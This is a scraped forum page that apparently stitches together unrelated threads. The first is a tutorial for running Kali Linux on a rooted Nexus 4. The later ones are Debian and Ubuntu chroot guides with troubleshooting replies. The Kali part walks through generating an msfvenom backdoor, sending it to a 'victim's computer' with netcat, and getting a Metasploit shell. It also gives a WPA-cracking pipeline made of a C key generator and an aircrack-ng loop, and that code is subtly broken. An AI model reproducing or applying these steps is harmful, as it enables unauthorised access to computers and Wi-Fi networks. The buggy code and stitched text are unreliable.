Hello everyone !
I was so glad to know the release of Nethunter 1.1 on offensive security, so I immediattely decided to tried it on my Nexus 4. But It didn't really work as Nexus 4 devices doesn't really support USB external devices :/ even if XDA devs did release a patch for this, it made WIFI disapear...
That's why I decided to use Linux Deploy in a new way : I thought this app was really limited, but finally I managed to get something really similar to a Nethunter device !
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
So here we are, and I'm gonna show you a few steps to install and configure kali linux with some tools !
1) Root your phone
2) Dowload Linux Deploy
3) Download the Kali image BUT :
The installator will automatically generate a 4Gb image in your internal memory - which is relally big - thats why you might have two solutions :
- Use an external sdcard but it would be a waste of memory
- BETTER SOLUTION : Tap on "Image size (MB)" and enter the amount of memory youwant to allocate. I suggest 2200 MB (2,2GB)
Then, go to "Compents to install, and UNCHECK EVERYTHING EXCEPT -> SSH SERVER.
Thanks to this, your linux image will occupate 2,2Gb with a lot of freespace in it, so we'll be able to download some utilities, without getting useless things such as a graphical desktop.
So just click install and wait a few minute for the installation to complete.
So what ?
In order to connect to your new kali environnement you will need an ssh client (for we've only selected the ssh server and no VNC)
So just install a ssh client or use a terminal emulator such as "Terminal IDE" (and not the Jack Palevitch's one whisch has no built in ssh and i really dont like his emulator)
I personally prefer use the ssh client : https://play.google.com/store/apps/details?id=com.anstudios.ssh
This one is light efficient and not intrusive.
You might also want to install the "Hacker's keyboard" or use the "Terminal IDE"'s one. You'll surely need it, as the arrows, esc and ctrl keys are really useful.
Then, launch your system via the "Launch" button. You should have an output like this one :
http://img.wonderhowto.com/img/original/21/16/63562179326178/0/635621793261782116.jpg
EXCEPT THAT : You've only installed the ssh client so you output should look like : SSH :22 ... done
VNC :5900 ... fail
Awesome.
Now just launch your ssh client :
The default credentials are "android" and "changeme". So infront of "ssh" just type :
[ssh] [email protected]
And when the system ask you for the password , type "changeme".
Just have fun !!
TIP : If the display is too small, just use the volume keys to fix it.
NOW : Some basic steps
1) Checkout the space available : df -h
2) Get root : su
3) Install all the packages you want.
/WARNING\ : Smartphones chipsets doen't allow injection or monitor mode even if a few guys managed to. But iys eally experimental. You can use an external wifi card and heres the tutorial to do it :
http://forum.xda-developers.com/goo...opment/guide-convert-phone-pwn-phone-t2852293
Some things to install to have fun :
- aircrack-ng to break a 4 way handshake (tutorial below)
- Metasploit to send your backdoors (tutorial below)
- Tmux because were limite to only one window (script below)
- GCC to compile
- Vim to edit
1) Get root
For those who have issues to get root just follow these step
sudo passwd root
type twice your password
2) Install the packages :
apt-get install aircrack-ng
apt-get install metasploit
apt-get install metasploit-framework
apt-get install tmux
apt-get install john
3) If you wish to install SET :
cd /opt
sudo apt-get install git
git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
cd set/
python setup.py install
Have fun.
THE TUTORIAL PART
You have to consider the fact that you're running a chrooted environment.
So, in order to access to the internal sotrage, yo have to go into Linux Deploy options : Scroll down to "Custom Mounts" and enable it. Then tap on "Mount points" and enable all the path presented. It will allow you, once you've booted your linux img to access all of your phone's data
Now you might i communicate with a pc for example, get your handsake and crack it on your phone, or send a backdoor generated on your phone ?
Here's another solution :
NETCAT. On a linux or windows machine with netcat here's a little metasploit fun :
On your kali PHONE
msfvenom /your/payload/ OPTIONS -a YOUR_ARCH -e exe and some stuff here > mybackdoor
nc -w 3 IPADDRESS_OFDESTINATION < mybackoor
On your victims's computer :
nc -l -p 1234 > mybackdoor
And now, no mattter how you managed to transfer the backdoor -netcat / usb cable/ any other hack - , let's play :
Proof of concept ? Here's a Metasploit shell gained on a linux machine :
AND..... PWNDED !! (yeah that was quite simple...)
Metasploit3
And this Netcat trick works with ANY file.
For example : a captured handshake on a kali pc ! Tip : You can reduce it size with wpaclean :
wpaclean <out.cap> <in.cap>
How to crack the key ? Pipe Crunch into aircrack or john OR use this program if you want to generate HEXADECIMAL keys :
HexKeygenerator
/*
* HexKeygenerator is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
*
* HexKeygenerator is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with Foobar. If not, see http://www.gnu.org/licenses/.
*
*/
// Autheurs : Sdpbz1 and improved by romeoandjuliet
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void help(char name[]) {
printf("Usage:%s <Nb keys to generate> <file>\n\n", name);
printf("Exemple: generate 1000000 keys in the file dictionary.wpa\n");
printf("%s 10000000 dictionary.wpa\n", name);
}
int main(int argc, char * argv[])
{
long long int nb;
int size; //Key lenght
double i, z;
int byte = 0;
FILE *PF1;
if(argc != 4) {
help(argv[0]);
return 1;
}
//Convert to long and check
nb = atol(argv[1]);
if(nb == 0) {
printf("Please enter a valid number !!!\n");
help(argv[0]);
return 1;
}
size = atol(argv[3]);
if(nb == 0) {
printf("Please enter a valid number\n");
help(argv[0]);
return 1;
}
PF1 = fopen(argv[2], "w");
if (PF1 == NULL) {
printf("Cant create file %s\n", argv[2]);
return 1;
}
printf("Générating de %d hexadecimal keys\n", nb);
srand(time(NULL));
for(z = 1; z <= nb; z++) {
for (i = 1; i <= size; i++) {
byte = rand() % 256;
fprintf(PF1,"X", byte); //Hex display
}
if(z % 100000 == 0) {
printf("%l keys generated\n", z); // }
fprintf(PF1,"\n");
}
fclose(PF1);
return 0;
}
To compile it :
gcc HexKeygnerator.c -o HexKeygnerator
Here's a first script to handle the crack : startup.sh
for i in `seq 1 1000000``
do
./HexKeygenerator 1000000 password$i.lst 5 # for a 10 char hexadecimal key
aircrack-ng /path/to/handshake -e ESSID -w password$i.lst -p #NBOF_CORES >> log.txt # IF YOU USE ALL CORES AVAILABLE YOUR PHONE WILL ALMOST FREEZE
rm password$i.lst
then
grep "KEY FOUND" log.txt > KEY_FOUND # On sauve la clé
grep "KEY FOUND" log.txt
grep "KEY FOUND" log.txt
fi
done
To have this run and be checked permanently in a TMUX session : Use this script and it ill automatically launch the previos script (save both in the same directory)
SESSION=$USER
tmux split-window -h
tmux select-pane -t 0
tmux send-keys "sh ./startup.sh" C-m
tmux select-pane -t 1
tmux send-keys "Watch -n 30 grep KEY log.txt" C-m
tmux split-window -v
tmux send-keys "Watch -n 30 tail log.txt" C-m # to check the cracking's speed
tmux select-window -t $SESSION:1
tmux -2 attach-session -t $SESSION
Screenshot ? :
And here it is. This is only the beginning ! thaths why i thing linux deploy is better and more modulable than nethunter.
Have fun !!!
If you liked this, please check my little website :
http://mindhackingdevices.e-monsite.com/pages/premier-post.html
Pour les francophones, ce post existe en fracnais ssur l'excellent forum :
http://www.crack-wifi.com/forum/topic-11195-linux-deploy-kali-linux.html
Romeoandjuliet
Gonna give this a go as I was struggling to get my head around it. Nice one ?
Sent from my SM-G925F using Tapatalk
Ssh and vnc services fail every time.
Can anyone help me?
Awesome tutorial and lots to learn. Thanks
I am not able to install any of the linux on my phone using linux deploy, while installation part it stops suddenly and says that cant download (specific package name).
help broh
> start
[23:18:50] Mounting partitions:
[23:18:50] / ... skip
[23:18:50] /proc ... skip
[23:18:50] /sys ... skip
[23:18:50] /sys/fs/selinux ... skip
[23:18:50] /dev ... skip
[23:18:50] /dev/pts ... skip
[23:18:50] /dev/shm ... done
[23:18:50] :: Mounting partitions:
[23:18:50] /system ... done
[23:18:50] /sdcard ... done
[23:18:50] :: Configuring core/mnt ...
[23:18:50] :: Configuring core/net ...
[23:18:50] :: Starting extra/dbus ... done
[23:18:50] :: Starting extra/ssh ... fail
[23:18:50] :: Starting graphics/vnc ... done
[23:18:50] <<< start
Mohsin Pathan said:
I am not able to install any of the linux on my phone using linux deploy, while installation part it stops suddenly and says that cant download (specific package name).[/QUOTE
You must have root for Deploy it is for loading the graphical environment
Click to expand...
Click to collapse
okietruax said:
Mohsin Pathan said:
I am not able to install any of the linux on my phone using linux deploy, while installation part it stops suddenly and says that cant download (specific package name).[/QUOTE
You must have root for Deploy it is for loading the graphical environment
Click to expand...
Click to collapse
My all the phones are rooted.
Click to expand...
Click to collapse
Mrcable said:
> start
[23:18:50] Mounting partitions:
[23:18:50] / ... skip
[23:18:50] /proc ... skip
[23:18:50] /sys ... skip
[23:18:50] /sys/fs/selinux ... skip
[23:18:50] /dev ... skip
[23:18:50] /dev/pts ... skip
[23:18:50] /dev/shm ... done
[23:18:50] :: Mounting partitions:
[23:18:50] /system ... done
[23:18:50] /sdcard ... done
[23:18:50] :: Configuring core/mnt ...
[23:18:50] :: Configuring core/net ...
[23:18:50] :: Starting extra/dbus ... done
[23:18:50] :: Starting extra/ssh ... fail
[23:18:50] :: Starting graphics/vnc ... done
[23:18:50] <<< start
Click to expand...
Click to collapse
Same here
No one has asked, but have you install busy box and did you check the box to have ssh server start? Have you tried logging in with ssh to "localhost" or 127.0.0.1 on port 22?
Link to busy box: https://play.google.com/store/apps/details?id=ru.meefik.busybox
Kali Linuxx Install
My video shows in less then 5 mins
youtube.com/watch?v=RoHsMwzxLG8
How to solve this
E: unable to locate package aircrack-ng:
confused:
Excuse me guys for my intelligence but I wanna ask about all that
In the end what is the purpose of this kali linux ?
This Deploy what is for?
Some hacking wifi or what?
And again I'm sorry that i don't understand it
Related
Okay installing Debian on G1 was a pain in the ass when people make auto installers and never update them -_- I had so much problem trying to use the bootdeb script so heres a manual way to do it and should take like 10 minutes and when done, like 3minutes to start it up.
Feel free to PM me if you get stuck!
What you need:
A Debian Image (debian.img)
Get it here.
ext2.ko
Get it here. If dead, from this page.
unionfs.ko
Get it here. If dead, from this page.
busybox
Get it here. If dead, from this page.
Android Apps you'll need:
Terminal Emulator (Get the free one, even if you have a terminal app!)
VNC Viewer (Free or Paid, anything should work)
Initial Setup
Stuff you need to put in SD card and where.
Put all the files (debian.img, ext2.ko, unionfs.ko & busybox) in one folder named kit and put kit in the root of your SD Card.
Before we start please note this may look looong but Part 1 takes like 10 minutes and Part 2 like 5 mins. So try it out, its worth it!
Part 1
We will install the base system in this part.
Please Note
You can run the commands below on your computer via ADB Shell but you may have trouble doing Part 2 on your computer. If you understand what you do in Part 1 you may proceed in ADB Shell.
Click to expand...
Click to collapse
Step One
Open Terminal paste these in order:
Code:
export kit=/sdcard/kit
Press Enter
Code:
export bin=/data/local/bin
Press Enter
Code:
export mnt=/data/local/mnt
Press Enter
Code:
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
Press Enter
Code:
export TERM=linux
Press Enter
Code:
export HOME=/root
Press Enter
Code:
insmod $kit/ext2.ko
If this gives you a error, ignore it!
Press Enter
Code:
mkdir $bin #-p
Press Enter
Code:
cat $kit/busybox >$bin/busybox
Press Enter
Code:
chmod 755 $bin/busybox
Press Enter
Code:
alias _=busybox
Press Enter
Code:
_ mknod /dev/loop0 b 7 0
Press Enter
Code:
_ mkdir -p $mnt
Press Enter
Code:
echo 'nameserver 4.2.2.2' >$mnt/etc/resolv.conf
Press Enter
Code:
_ chroot $mnt /bin/bash
Part 1 Done
It shoud now say #localhost: || If not then something went wrong...
Part 2
Installing the GUI.
In your Debian Shell (#localhost) type this:
Code:
cd /etc/apt
Press Enter
Code:
nano sources.list
Press EnterNow add these two lines below the 1st source:
deb-src ftp://ftp.uk.debian.org/debian/ lenny main contrib non-free
deb ftp://ftp.uk.debian.org/debian/ lenny main contrib non-free
Click to expand...
Click to collapse
Hit Trackball+O to save and then Trackball+X to exit.
Now type:
Code:
apt-get install tightvncserver
After its done type:
Code:
apt-get install icewm
After its done type:
Code:
export USER=root
After its done type:
Code:
vncserver -geometry 480x320
You will be asked to setup the VNC Password after this. Set it and remember it!
Now type:
Code:
cd /root
then
Code:
cd .vnc
then
Code:
nano xstartup
Now edit out the file to look like this:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Hit Trackball+O and Trackball+X to exit
Now type:
Code:
cd /root
then
Code:
nano .bashrc
And add these lines to it:
Code:
export USER=root
cd /
rm -r -f tmp
mkdir tmp
cd /
vncserver -geometry 480x320
It should look like this:
Now go to Terminal Setting and type this in the Initial Command:
Code:
su
export kit=/sdcard/kit
export bin=/data/local/bin
export mnt=/data/local/mnt
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root
alias _=busybox
_ mknod /dev/loop0 b 7 0
_ mount -o loop $kit/debian.img $mnt
_ chroot $mnt /bin/bash
mount -t devpts devpts /dev/pts
mount -t proc proc /proc
mount -t sysfs sysfs /sys
Heres a screenshot:
We use this to save time and boot Debian swiftly!
Now reboot the phone!
After its rebooted, just open Terminal and let it do its thing. If it did it right you should see the Debian Shell launched...
Part 3
Playing around in the GUI!
Go to androidVNC (or any VNC client you have)
Enter the floowing details:
Address: localhost
Port: 5901
Password: the one you set while setting up tightvncserver...
Press connect!
Troubleshoot
If you get a blank window and a X on VNC Connection, goto terminal emulator>settings>reset term. And then reopen terminal. Now goto your VNC Viewer and change the port to 5902 and hit connect!
You should now be in the GUI!! Video of the whole thing coming up soon!
Stuff you may wanna note!
You may not be able to mount your SD Card while Debian is running so you have to restart your phone to mount your SD Card!
Every time you wanna boot debian just open terminal Emulator and install it as a Debian Boot App or something!
There are a few flaws and I am a design guy and not a coder, if you find something wrong or wanna revise anything PM me or reply. I know its not perfect!
Nothing was done by me I just copyed and pasted stuff from sources. Special Thanks to Jay Freeman (saurik) for coming up with Part 1 and dangermouse over at AndroidFanatic for coming up with Part 2!
Nice! I'm so excited to see that.
if you are trying this reply! I wanna know how it goes!
its the same thing i did months ago! it works fine but too slow :/ on g1
this thread is very organized, great job
aBsolutex3 said:
this thread is very organized, great job
Click to expand...
Click to collapse
Thanks, wanted it to be user friendly as its not that easy to understand
try it.Do‘’t know to ask you
mkdir $bin #-p
Gives me an error.
cctv35 said:
try it.Do‘’t know to ask you
Click to expand...
Click to collapse
Ummm what?
jatokor said:
mkdir $bin #-p
Gives me an error.
Click to expand...
Click to collapse
Are you sure you entered this:
Code:
export bin=/data/local/bin
Should work
Thank you for this thread
aBsolutex3 said:
this thread is very organized, great job
Click to expand...
Click to collapse
+1
got debian on my g1 for the first time using this walk-through.
Wait, so how do I run this within my mod? will everything on my phone be intact?
ForTehWolf said:
Wait, so how do I run this within my mod? will everything on my phone be intact?
Click to expand...
Click to collapse
Saurik on his website said:
This does not replace Android. This also gives you access to the full plethora of programs available in Debian and let's you continue using your phone as it was intended to be: as an Android device with all the capabilities thereof.
Please note that this is not a "port": Debian already supports ARM EABI, which is the underlying architecture of Android.
Click to expand...
Click to collapse
Its completely safe
error
echo 'nameserver 4.2.2.2' >$mnt/etc/resolv.conf
gives me this error: cannot create datalocalmntetcresolv.conf: directory non existent
sorry for my English i'm spanish boy
s0e0r0a said:
echo 'nameserver 4.2.2.2' >$mnt/etc/resolv.conf
gives me this error: cannot create datalocalmntetcresolv.conf: directory non existent
sorry for my English i'm spanish boy
Click to expand...
Click to collapse
check in /data/local/bin ... is bin a file or a folder? if a file delete it and make a folder manually...
SilentRazor said:
check in /data/local/bin ... is bin a file or a folder? if a file delete it and make a folder manually...
Click to expand...
Click to collapse
theres a busybox file in there, and thats it
echo 'nameserver 4.2.2.2' >$mnt/etc/resolv.conf
no such file or directory
chmod 755 $bin/busybox
gives me:
chmod: not found
and I can't go forward.
sickleman said:
chmod 755 $bin/busybox
gives me:
chmod: not found
and I can't go forward.
Click to expand...
Click to collapse
umm are u rooted?
_ chroot $mnt /bin/bash
gives cannot execute /bin/bash: No such file or directory
Well I dont have my G1 as its gone 4 repairing so... well wait up 4 a few days...
here you go chroot ubuntu
So you have a working rootfile system like hd2
put the root file system on sdcard location /sdcard/ubuntu
place the two files in /sdcard/ubuntu
(run as root ) just install with -> sh install.sh And READ
installing vnc
in ubuntu linux terminal ->
export USER=root
vncserver -geometry 1024×750
nano /root/.bashrc
Add this to the beginning
###########################
export USER=root
cd /
rm -r -f tmp
mkdir tmp
cd /
vncserver -geometry 1280×750
########################### ctrl+x to save
Thanks to,
aligatro2010 4 resolution
poltak11 4 helping you guyś with some more info
now connect with your own password and port 5900 or 5901 ad localhost with VNC Android !!
Just download the rootfs from the HD2 form
Ubuntu Chrootenv. <- new
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
So how does this works -->
# DONT TOUCH FIRST LINE !!!!
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system ## lets mount the nand RW so that we can make folders
echo "SETTING VARIABLES"
export bin=/system/bin ## divine where bin is
export mnt=/data/local/ubuntu ## divine where mnt is
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH ## set path so that we can run things anywhere
export TERM=linux ## divine term
export HOME=/root ## divine home
if [ ! -d /data/local/ubuntu ] ## if there go else create data/local/ubuntu
then
mkdir /data/local/ubuntu
fi
echo "MOUNTING"
mount -t ext2 -o loop /sdcard/ubuntu/rootfs.ext2 /data/local/ubuntu ## mount a ext2 loop file from dir to dir
mount -t devpts devpts $mnt/dev/pts ### mount android devpts in root (mnt/dev/pts)
mount -t proc proc $mnt/proc ## same as above
mount -t sysfs sysfs $mnt/sys ### same as above
echo "SETTING UP NETWORK"
sysctl -w net.ipv4.ip_forward=1 ## ip forward so that we have internet from android
echo "nameserver 208.67.222.222" > $mnt/etc/resolv.conf ### as is
echo "nameserver 208.67.220.220" >> $mnt/etc/resolv.conf ### as is
echo "127.0.0.1 localhost" > $mnt/etc/hosts ## as is
echo "All credits to original creator !!!!!!!"
chroot $mnt /bin/bash #### finally lets chroot the dir and init /bin/bash meaning lets start a vm on that dir
and thats all to chrooting
ok this is pure awesome but...it would mean running 2 OS's just like the old day of running multiple os types off my old winmo phone...right?
Wow, great work! Wish the xda app had a thanks button
Sent from my SPH-D700 using XDA App
"So you have a working rootfile system like hd2
put the root file system on sdcard location /sdcard/ubuntu"
Would anyone mind explaining that beginning part? Seems like I have the folder on my SD card and the 2 files but I am missing the "working rootfile system like hd2". Does this mean i need to make an image of an already running root file system.
My apologies in advance if I am asking a noob question.
i dont understand what is hd2
So you have a working rootfile system like hd2
What is HD2 ? And do we put the two files on the Removable ( REAL SD CARD ) or the Asus Transformer ?
rm failed for -f No such file or directory
CP Can't create '/system/bin/ubuntu: Permission Denied
Type 'sh ubuntu' to boot Ubuntu
I suspect they are refering to the ubuntu.img available in the HD2 Ubuntu Dev forum, im downloading now to test, i'll post my results.
Im guessing put them on the Removable
# ls
install.sh ubuntu
# sh install.sh
Type 'sh ubuntu' to boot Ubuntu
# sh ubuntu
SETTING VARIABLES
MOUNTING
ioctl LOOP_SET_FD failed: Bad file number
mount: No such file or directory
mount: No such file or directory
mount: No such file or directory
SETTING UP NETWORK
net.ipv4.ip_forward = 1
ubuntu: line 22: can't create /data/local/ubuntu/etc/resolv.conf: nonexistent directory
ubuntu: line 23: can't create /data/local/ubuntu/etc/resolv.conf: nonexistent directory
ubuntu: line 24: can't create /data/local/ubuntu/etc/hosts: nonexistent directory
All credits to original creator !!!!!!!
chroot: can't execute '/bin/bash': No such file or directory
#
I installed from http://androidadvocate.com/?p=339 and it works great, but running ubuntu native would be much, much better.
lithiasalesjs said:
# ls
install.sh ubuntu
# sh install.sh
Type 'sh ubuntu' to boot Ubuntu
# sh ubuntu
SETTING VARIABLES
MOUNTING
ioctl LOOP_SET_FD failed: Bad file number
mount: No such file or directory
mount: No such file or directory
mount: No such file or directory
SETTING UP NETWORK
net.ipv4.ip_forward = 1
ubuntu: line 22: can't create /data/local/ubuntu/etc/resolv.conf: nonexistent directory
ubuntu: line 23: can't create /data/local/ubuntu/etc/resolv.conf: nonexistent directory
ubuntu: line 24: can't create /data/local/ubuntu/etc/hosts: nonexistent directory
All credits to original creator !!!!!!!
chroot: can't execute '/bin/bash': No such file or directory
#
Click to expand...
Click to collapse
OMG , you only have two files !!! please read OP
Alright, to you guys who don't understand (and I agree, the first post was a bit hard to understand), you need a few components first:
OP's uploaded zip containing 2 files (scripts that kinda do all the hard stuff for you):
- ubuntu
- install.sh
and
a root filesystem
The root filesystem is kinda like an image of Ubuntu and the kernel that had been ported to ARM by wizards, or something like that (correct me if I'm wrong please).
I'm pretty sure OP wants us to use an Ubuntu root filesystem for the HTC HD2, found here:
http://forum.xda-developers.com/showthread.php?t=889433
(the torrent was fairly speedy)
Anyway, I just got this working with aligatro2010's link which takes us to a guide for getting this chrooting business happening on a Nexus One. But don't panic! The guide works for our Transformer too. So yeah, follow this if you want to get it up and running this way.
But at the line that tells you to type:
vncserver -geometry 1024×800
Change the resolution to 1280x750. Thanks to aligatro2010 for correcting my resolution.
Anyway, I'm going to try and get this working with the HD2 root filesystem as OP said, and will report back my success in a while.
(Seriously the coolest thing I've found yet with my TF... I never thought you could do this... thanks OP!!!)
poltak11 said:
Alright, to you guys who don't understand (and I agree, the first post was a bit hard to understand), you need a few components first:
OP's uploaded zip containing 2 files (scripts that kinda do all the hard stuff for you):
- ubuntu
- install.sh
and
a root filesystem
The root filesystem is kinda like an image of Ubuntu and the kernel that had been ported to ARM buy wizards, or something like that (correct me if I'm wrong please).
I'm pretty sure OP wants us to use an Ubuntu root filesystem for the HTC HD2, found here:
http://forum.xda-developers.com/showthread.php?t=889433
(the torrent was fairly speedy)
Anyway, I just got this working with aligatro2010's link which takes us to a guide for getting this chrooting business happening on a Nexus One. But don't panic! The guide works for our Transformer too. So yeah, follow this if you want to get it up and running this way.
But at the line that tells you to type:
vncserver -geometry 1024×800
Change the resolution to 1280x800. BUT WAIT! I did this and it kinda cut of the status bar at the bottom, so can someone please tell me how many pixels tall the status bar is?
Anyway, I'm going to try and get this working with the HD2 root filesystem as OP said, and will report back my success in a while.
(Seriously the coolest thing I've found yet with my TF... I never thought you could do this... thanks OP!!!)
Click to expand...
Click to collapse
1280x750 is the resolution I use.
working
Alright, confirmed to have this fully working via OP's method. Details follow:
Get HD2 root filesystem:
http://forum.xda-developers.com/showthread.php?t=889433
Download the link (torrent is fast). Extract it and find rootfs.ext2 in the linux folder. Copy that onto your TF and place it in the /sdcard/ubuntu/ directory (it's around 3GB).
Get OP's scripts:
Download from the link in the first post. Extract the zip and move the 2 files to the /sdcard/ubuntu/ directory on your TF.
Alright, now we got what we want.
Go into terminal emulator on your TF (any should hopefully work... I used BTE Pro).
Type the following:
Code:
su
Gives you root privileges... note: I'm not sure if this is needed... not too familiar with Android.
Code:
cd /sdcard/ubuntu/
sh ubuntu
You should now be "chrooted" into the Ubuntu environment. That is, you've changed the root to the Ubuntu root filesystem (don't worry if you don't understand this). It should look a bit like this:
Code:
[email protected]:/#
Now to get up the VNC server so we can view a GUI (make sure you have internet connection at this step!!! We're just going to update package list and install a very small app):
Code:
apt-get update
apt-get install tightvncserver
Now you've got your vnc app installed in Ubuntu.
Now to set it up for use:
Code:
export USER=root
vncserver -geometry 1280x750
Yep! That's all set up... but yeah, nothing's happening just yet.
If you haven't already got a VNC client installed on your TF (note Android NOT Ubuntu), go here:
http://code.google.com/p/android-vnc-viewer/downloads/list
and get the latest one and install it on your device.
Now go into the app and put a Nickname ("ubuntu" might be wise), your Password (if you made one), leave Address empty, and make Port 5901.
If you want it to look nice, change Color Format to 24-bit color (4 bpp).
Now press connect and you should be in your chrooted fully-functional Ubuntu.
Oh yeah, if you want to automate this whole process so you don't have to do it everytime you reboot your TF or whatever, follow the instructions in OP about editing /root/.bashrc file. This file basically runs everytime the root user logs in... ie. everytime you start your chrooted Ubuntu. So it will do all this automatically, everytime you start (type sh ubuntu in terminal).
Did I miss anything else?
Please note:
Jhinta is the brains behind this (and those HD2 guys who managed to port Ubuntu to ARM). If you get this working properly give some thanks to him. He's the one who wrote the scripts to do this all for you (those 2 files in the /sdcard/ubuntu/ directory). I'm just trying to make it a bit easier to understand for "non-linux nerds" and to help walk you through this. Because, really, it's pretty damn cool Even if you're not familiar with Linux or Ubuntu, try it out... you might just learn something!
poltak11 said:
Alright, confirmed to have this fully working via OP's method. Details follow:
Get HD2 root filesystem:
http://forum.xda-developers.com/showthread.php?t=889433
Download the link (torrent is fast). Extract it and find rootfs.ext2 in the linux folder. Copy that onto your TF and place it in the /sdcard/ubuntu/ directory (it's around 3GB).
Get OP's scripts:
Download from the link in the first post. Extract the zip and move the 2 files to the /sdcard/ubuntu/ directory on your TF.
Alright, now we got what we want.
Go into terminal emulator on your TF (any should hopefully work... I used BTE Pro).
Type the following:
Code:
su
Gives you root privileges... note: I'm not sure if this is needed... not too familiar with Android.
Code:
cd /sdcard/ubuntu/
sh ubuntu
You should now be "chrooted" into the Ubuntu environment. That is, you've changed the root to the Ubuntu root filesystem (don't worry if you don't understand this). It should look a bit like this:
Code:
[email protected]:/#
Now to get up the VNC server so we can view a GUI (make sure you have internet connection at this step!!! We're just going to update package list and install a very small app):
Code:
apt-get update
apt-get install tightvncserver
Now you've got your vnc app installed in Ubuntu.
Now to set it up for use:
Code:
export USER=root
vncserver -geometry 1280x750
Yep! That's all set up... but yeah, nothing's happening just yet.
If you haven't already got a VNC client installed on your TF (note Android NOT Ubuntu), go here:
http://code.google.com/p/android-vnc-viewer/downloads/list
and get the latest one and install it on your device.
Now go into the app and put a Nickname ("ubuntu" might be wise), your Password (if you made one), leave Address empty, and make Port 5901.
If you want it to look nice, change Color Format to 24-bit color (4 bpp).
Now press connect and you should be in your chrooted fully-functional Ubuntu.
Oh yeah, if you want to automate this whole process so you don't have to do it everytime you reboot your TF or whatever, follow the instructions in OP about editing /root/.bashrc file. This file basically runs everytime the root user logs in... ie. everytime you start your chrooted Ubuntu. So it will do all this automatically, everytime you start (type sh ubuntu in terminal).
Did I miss anything else?
Please note:
Jhinta is the brains behind this (and those HD2 guys who managed to port Ubuntu to ARM). If you get this working properly give some thanks to him. He's the one who wrote the scripts to do this all for you (those 2 files in the /sdcard/ubuntu/ directory). I'm just trying to make it a bit easier to understand for "non-linux nerds" and to help walk you through this. Because, really, it's pretty damn cool Even if you're not familiar with Linux or Ubuntu, try it out... you might just learn something!
Click to expand...
Click to collapse
fist thing thnx for the addon info .
but its not a port ubuntu is arm ,it was nerver ported its just a arm ubuntu build and will work on any arm cpu, chroot like this is just adapt to be able to do it .
there is realy nothing special about it , but native well , uuu in time soon i think
Jhinta said:
fist thing thnx for the addon info .
but its not a port ubuntu is arm ,it was nerver ported its just a arm ubuntu build and will work on any arm cpu, chroot like this is just adapt to be able to do it .
there is realy nothing special about it , but native well , uuu in time soon i think
Click to expand...
Click to collapse
ohh! So in time we might see a nvflash version of Ubuntu that can completely replace Android? Maybe even a full package that can dual boot Ubuntu/Android natively?
Very exciting stuff, but I'm at the mercy of more intelligent devs around here. Good luck guys!
Getting some errors
/sdcard/ubuntu # sh ubuntu
SETTING VARIABLES
MOUNTING
ioctl LOOP_SET_FD failed: Device or resource busy
mount: I/O error
mount: I/O error
mount: I/O error
SETTING UP NETWORK
net.ipv4.ip_forward = 1
ubuntu: line 22: can't create /data/local/ubuntu/etc/resolv.conf: I/O error
ubuntu: line 23: can't create /data/local/ubuntu/etc/resolv.conf: I/O error
ubuntu: line 24: can't create /data/local/ubuntu/etc/hosts: I/O error
All credits to original creator !!!!!!!
chroot: can't execute '/bin/bash': Input/output error
dude2k5 said:
Getting some errors
/sdcard/ubuntu # sh ubuntu
SETTING VARIABLES
MOUNTING
ioctl LOOP_SET_FD failed: Device or resource busy
mount: I/O error
mount: I/O error
mount: I/O error
SETTING UP NETWORK
net.ipv4.ip_forward = 1
ubuntu: line 22: can't create /data/local/ubuntu/etc/resolv.conf: I/O error
ubuntu: line 23: can't create /data/local/ubuntu/etc/resolv.conf: I/O error
ubuntu: line 24: can't create /data/local/ubuntu/etc/hosts: I/O error
All credits to original creator !!!!!!!
chroot: can't execute '/bin/bash': Input/output error
Click to expand...
Click to collapse
means thats i cant mount the rootfs .
Device or resource busy -> the loop dev that we create i think it was /dev/block/loop2 is busy whit your device , you can edit the script and try any other loopX 123456 .
recommanded is to try to do the command 1 by one in adb shell or terminal
Jhinta said:
means thats i cant mount the rootfs .
Device or resource busy -> the loop dev that we create i think it was /dev/block/loop2 is busy whit your device , you can edit the script and try any other loopX 123456 .
recommanded is to try to do the command 1 by one in adb shell or terminal
Click to expand...
Click to collapse
I opened the script and saw:
/dev/block/mmcblk0p1
Little confused..sorry
edit: wait, this?
mount -t ext2 -o loop /sdcard/ubuntu/rootfs.ext2 /data/local/ubuntu
edit2: well I tried again. When I got to
mount -t ext2 -o loop2 /sdcard/ubuntu/rootfs.ext2 /data/local/ubuntu
It worked, or didnt give me an error, but right after
